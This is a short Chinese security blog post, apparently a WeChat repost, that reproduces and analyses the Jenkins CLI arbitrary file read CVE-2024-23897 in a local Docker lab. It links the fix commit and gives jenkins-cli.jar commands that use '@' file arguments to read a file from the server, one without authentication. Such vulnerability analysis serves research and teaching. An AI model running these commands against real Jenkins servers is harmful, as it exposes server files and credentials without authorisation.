点击蓝字 关注我们 / Vuln's Day
01
·环境搭建·
docker pull bitnami/jenkins:2.426.2-debian-11-r3
docker run -e "JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005" -d --name jenkins -p 8081:8080 -p 8777:5005 bitnami/jenkins:2.426.2-debian-11-r3
user/bitnami
02
·漏洞分析·
CVE-2024-23897
https://github.com/jenkinsci/jenkins/commit/554f03782057c499c49bbb06575f0d28b5200edb
ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);
关键修复点在于引入了新的配置项,设置ParserProperties以禁用(或限制)@语法特性:
ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);
java -jar jenkins-cli.jar -s http://localhost:8081/ -auth user:bitnami -webSocket who-am-i在调试过程中,我们设置了断点于hudson.cli.CLICommand.getCmdLineParser()方法上,通过执行特定命令行指令触发漏洞逻辑:
java -jar jenkins-cli.jar -s http://localhost:8081/ -auth user:bitnami -webSocket who-am-i @/tmp/1.txt
java -jar jenkins-cli.jar -s http://localhost:8081/ -http who-am-i @/tmp/1.txt
03
·总结·
原文始发于微信公众号(东方隐侠安全团队):烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论